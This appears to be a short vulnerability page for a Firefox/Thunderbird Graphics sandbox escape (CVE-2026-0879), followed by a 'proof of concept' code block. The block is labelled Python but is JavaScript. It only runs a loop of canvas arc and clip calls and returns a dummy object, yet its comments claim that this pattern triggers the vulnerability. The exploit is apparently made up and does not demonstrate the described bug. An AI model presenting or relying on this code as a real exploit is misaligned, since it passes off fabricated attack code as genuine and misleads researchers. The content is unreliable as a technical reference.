Sandbox escape due to incorrect boundary conditions in the Graphics component. This vulnerability was fixed in Firefox 147, Firefox ESR 115.32, Firefox ESR 140.7, Thunderbird 147, and Thunderbird 140.7.
The following code is for security research and authorized testing only.
python
// CVE-2026-0879 PoC - Sandbox Escape via Graphics Component
// This PoC demonstrates the boundary condition vulnerability
// Note: This is a conceptual proof-of-concept for educational purposes only
// Malicious payload structure for triggering the boundary condition bug
function createExploitPayload() {
// Stage 1: Prepare the malicious graphics context
const canvas = document.createElement('canvas');
const ctx = canvas.getContext('2d');
// Stage 2: Craft specific drawing operations that trigger the boundary check bypass
// The vulnerability allows bypassing boundary conditions in Graphics component
const maliciousData = {
type: 'sandbox_escape_trigger',
cve_id: 'CVE-2026-0879',
component: 'Graphics',
trigger: 'incorrect_boundary_conditions'
};
// Stage 3: Execute the crafted graphics operations
for (let i = 0; i < 0xFFFF; i++) {
ctx.beginPath();
ctx.arc(0, 0, i, 0, Math.PI * 2);
ctx.clip();
// This specific pattern triggers the boundary condition vulnerability
}
return maliciousData;
}
// Trigger the exploit
try {
createExploitPayload();
console.log('PoC executed - vulnerability trigger attempted');
} catch (e) {
console.error('Exploit error:', e);
}
// Note: Actual exploitation requires specific Mozilla Firefox/Thunderbird versions
// and specific memory layout conditions. This PoC is for research purposes.